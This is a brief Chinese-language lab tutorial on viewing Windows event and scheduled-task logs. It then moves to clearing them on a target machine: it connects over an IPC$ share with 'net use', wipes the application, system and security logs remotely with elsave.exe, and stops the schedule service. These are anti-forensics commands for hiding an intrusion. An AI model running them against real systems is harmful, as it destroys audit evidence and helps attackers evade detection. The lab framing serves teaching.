windows日志查看与清理

日志查看

(1) 启动Windows实验台，点击：开始 - 控制面板 - 管理工具 - 事件查看器。如下图所示。

 

当入侵者得到远程系统的shell之后，常会利用计划任务运行功能更加强大的木马程序，计划任务日志详细的记录的计划任务的执行时间，程序名称等详细信息。

     打开计划任务文件夹，点击“高级”-查看日志，即可查看计划任务日志。

 

 先用ipc$管道进行连接，在cmd命令提示符下输入 net use \\对方IP（实验台IP）\ipc$ "密码" /user:"用户名"；

     连接成功后，开始进行日志清除。

    清除目标系统的应用程序日志输入elsave.exe -s \\对方ip -l "application" -C

    清除目标系统的系统日志输入elsave.exe -s \\对方IP -l "system" -C

    清除目标系统的安全日志输入elsave.exe -s \\对方IP -l "security" -C

 

 

 

 把服务停掉。命令行中输入net stop schedule;